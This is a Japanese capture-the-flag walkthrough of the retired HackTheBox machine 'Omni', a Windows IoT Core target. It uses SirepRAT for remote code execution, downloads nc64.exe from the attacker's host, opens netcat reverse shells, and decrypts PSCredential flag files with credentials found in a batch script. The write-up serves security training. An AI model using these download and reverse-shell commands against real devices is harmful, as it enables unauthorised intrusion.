【HackTheBox】Omni - Walkthrough -

本稿では、Hack The Boxにて提供されている Retired Machines の「[Omni](https://www.hackthebox.eu/home/machines/profile/271)」に関する攻略方法（Walkthrough）について検証します。

Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![Omni.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/511d721d-fc27-b5e8-de2b-9d889b264811.jpeg)

#エグゼクティブサマリー
##ツール

- nmap
- SirepRAT
- NetCat
- Windows Device Portal
- Import-Clixml

# 詳細手順
# ネットワークサービススキャン
## nmap

IPアドレス`10.10.10.204`を`omni.htb`として、`/etc/hosts`に追加します。その上で、`nmap`を使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -v omni.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-30 01:41 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating Connect Scan at 01:41
Scanning omni.htb (10.10.10.204) [1000 ports]
Discovered open port 135/tcp on 10.10.10.204
Discovered open port 8080/tcp on 10.10.10.204
Completed Connect Scan at 01:41, 15.04s elapsed (1000 total ports)
Initiating Service scan at 01:41
Scanning 2 services on omni.htb (10.10.10.204)
Completed Service scan at 01:41, 7.33s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.204.
Initiating NSE at 01:41
Completed NSE at 01:41, 4.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.82s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Nmap scan report for omni.htb (10.10.10.204)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE VERSION
135/tcp  open  msrpc   Microsoft Windows RPC
8080/tcp open  upnp    Microsoft IIS httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Initiating NSE at 01:41
Completed NSE at 01:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|135/tcp|msrpc|Microsoft Windows RPC|
|8080/tcp|upnp|Microsoft IIS httpd|

## HTTPサービスのスキャン
`Firefox`ブラウザを使って`8080/tcp`にアクセスしてみます。`Windows Device Portal`の表記から`omni.htb`が`Windows IoT Core`であることが特定できました。
しかし、認証画面の先に進むための情報はまだ得られていません。
![omni.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ccd65de0-7019-e654-7bfe-36ce52523ea9.png)

## SirepRAT
「[SirepRAT - RCE as SYSTEM on Windows IoT Core](https://github.com/SafeBreach-Labs/SirepRAT)」を使ってみます。

`pip`をインストールし、不足しているモジュールを導入します。

```
kali@kali:~$ sudo pip install hexdump
kali@kali:~$ sudo pip install enum
kali@kali:~$ sudo pip install enum34
```

Web Shellの[GitHubリポジトリ](https://github.com/SafeBreach-Labs/SirepRAT)を取得します。

```
kali@kali:~$ git clone https://github.com/SafeBreach-Labs/SirepRAT
```

`SirepRAT.py`コマンドにて、システム情報の取得を試みます。コマンド構文は次のとおりです。

```
kali@kali:~$ python SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
<SystemInformationResult | type: 51, payload length: 32, kv: {'wProductType': 0, 'wServicePackMinor': 2, 'dwBuildNumber': 17763, 'dwOSVersionInfoSize': 0, 'dwMajorVersion': 10, 'wSuiteMask': 0, 'dwPlatformId': 2, 'wReserved': 0, 'wServicePackMajor': 1, 'dwMinorVersion': 0, 'szCSDVersion': 0}>
```

`SirepRAT.py`コマンドにて、`Kali`から`nc64.exe`のダウンロードを行います。

```
kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe -Uri http://10.10.14.4:8081/nc64.exe" --v
```

![SirepRAT.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/77bf543f-7fd0-ba11-1c2d-4b18a8177a40.png)

# アクセス権の取得
## ユーザーシェルの取得
ポート 1234にてリバースシェルを待ち受けます。

```
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
```

`omni.htb`にてリバースシェルを起動します。コマンド構文は次のとおりです。

```
kali@kali:~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.4 1234 -e powershell.exe" --v
```

`$env:UserName`コマンドにて、`omni$`権限のシェルが取得できていることを確認します。

```
PS C:\windows\system32> $env:UserName
omni$
```

![reverse_shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/43f2328f-7936-c255-c4c9-46cb76a338d5.png)

しかし、`omni`権限では、`user.txt`フラグは取得できません。

## システム探索
システム探索の結果、`r.bat`ファイルがみつかりました。

```
PS C:\windows\system32> cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
cd "c:\Program Files\WindowsPowershell\Modules\PackageManagement"
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> ls -force
ls -force


    Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-----       10/26/2018  11:37 PM                1.0.0.1                       
-a-h--        8/21/2020  12:56 PM            247 r.bat                         


PS C:\Program Files\WindowsPowershell\Modules\PackageManagement>
```

`r.bat`ファイル中に、`app/mesh5143`と`administrator/_1nt3rn37ofTh1nGz`の情報を見つけました。

```
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> cat r.bat
```

```r.bat
@echo off                                                                                                                                                  
                                                                                                                                                           
:LOOP                                                                                                                                                      
                                                                                                                                                           
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete                                                  
                                                                                                                                                           
net user app mesh5143                                                                                                                                      
net user administrator _1nt3rn37ofTh1nGz                                                                                                                   
                                                                                                                                                           
ping -n 3 127.0.0.1                                                                                                                                        
                                                                                                                                                           
cls                                                                                                                                                        
                                                                                                                                                           
GOTO :LOOP                                                                                                                                                 
                                                                                                                                                           
:EXIT
```
|ユーザー名|パスワード|
|:---|:---|
|app|mesh5143|
|administrator|_1nt3rn37ofTh1nGz|

# 特権昇格
## Windows Device Portal
再び、`Firefox`ブラウザを使って`8080/tcp`にアクセスしてみます。認証情報として`app/mesh5143`または`administrator/_1nt3rn37ofTh1nGz`を使用します。
ログインに成功しました。

![WinDevPortal.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0c36f22d-c8e9-3275-55cd-fad689604d53.png)

## NetCatによるリバースシェルの接続

`kali`側にて、ポート `4321`にてリバースシェルを待ち受けます。

```
kali@kali:~$ nc -lnvp 4321
listening on [any] 4321 ...
```

`Windows Device Portal`からリバースシェルを起動します。メニューの`[Processes] > [Run command]`を選択します。
テキストボックスに次のコマンド構文を入力し、`Run`ボタンをクリックします。

```
C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.4 4321 -e powershell.exe
```

`Windows Device Portal`ログイン時に使用したアカウントに応じた権限にてリバースシェルの接続を確立することができました。

```
PS C:\windows\system32> $env:UserName
app
```

```
PS C:\windows\system32> $env:UserName
Administrator
```

![run_command.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7d62b102-f2d1-0a49-083a-7d8f2c32cae8.png)

# システム探索
`app/mesh5143`アカウントにて確立したリバースシェルにてシステム探索を行います。
`user.txt`フラグを`C:\Data\Users\app`にみつけました。

```
PS C:\Data\Users\app> ls
ls


    Directory: C:\Data\Users\app


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/4/2020   7:28 PM                3D Objects                    
d-r---         7/4/2020   7:28 PM                Documents                     
d-r---         7/4/2020   7:28 PM                Downloads                     
d-----         7/4/2020   7:28 PM                Favorites                     
d-r---         7/4/2020   7:28 PM                Music                         
d-r---         7/4/2020   7:28 PM                Pictures                      
d-r---         7/4/2020   7:28 PM                Videos                        
-ar---         7/4/2020   8:20 PM            344 hardening.txt                 
-ar---         7/4/2020   8:14 PM           1858 iot-admin.xml                 
-ar---         7/4/2020   9:53 PM           1958 user.txt
```

`user.txt`ファイルの内容は暗号化されています。このままではフラグの登録はできません。

```user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>
```

`user.txt`ファイルとCLIXMLファイルをインポートします。ここでは、`$credential`変数に格納しています。

`$credential`変数から、`GetNetworkCredential()`メソッドを使い、`Password`をとりだします。これでフラグを取得することができました。

```
PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
$credential = Import-CliXml -Path "C:\Data\Users\app\user.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
7cfd｛ＢＬＯＣＫＥＤ｝9d70
```

`administrator/_1nt3rn37ofTh1nGz`アカウントにて確立したリバースシェルにてシステム探索を行います。
`root.txt`フラグを`C:\Data\Users\administrator`にみつけました。

```
PS C:\Data\Users\administrator> ls
ls


    Directory: C:\Data\Users\administrator


Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
d-r---         7/3/2020  11:23 PM                3D Objects                    
d-r---         7/3/2020  11:23 PM                Documents                     
d-r---         7/3/2020  11:23 PM                Downloads                     
d-----         7/3/2020  11:23 PM                Favorites                     
d-r---         7/3/2020  11:23 PM                Music                         
d-r---         7/3/2020  11:23 PM                Pictures                      
d-r---         7/3/2020  11:23 PM                Videos                        
-ar---         7/4/2020   9:48 PM           1958 root.txt
```

`user.txt`ファイルと同様に、`root.txt`ファイルの内容は暗号化されています。

```root.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS>
    </Props>
  </Obj>
</Objs>
```

手順は、`user.txt`ファイルと同様です。

```
PS C:\windows\system32> $credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
$credential = Import-CliXml -Path "C:\Data\Users\administrator\root.txt"
PS C:\windows\system32> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
5dbd{BLOCKED}f11d
```

# 参考情報
- SirepRAT Abusing a Windows service for RCE, https://www.woprsummit.org/slides-archive/SirepRAT_RCEasSYSTEMonWindowsIoTCore-WOPRSummit.pdf
- GUIユーザーのためのPowerShell入門 「システム情報の取得」, https://news.mynavi.jp/itsearch/article/hardware/1159
- Windows Device Portal, https://docs.microsoft.com/ja-jp/windows/iot-core/manage-your-device/deviceportal
- Microsoft.PowerShell.Utility - Import-Clixml, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-clixml?view=powershell-7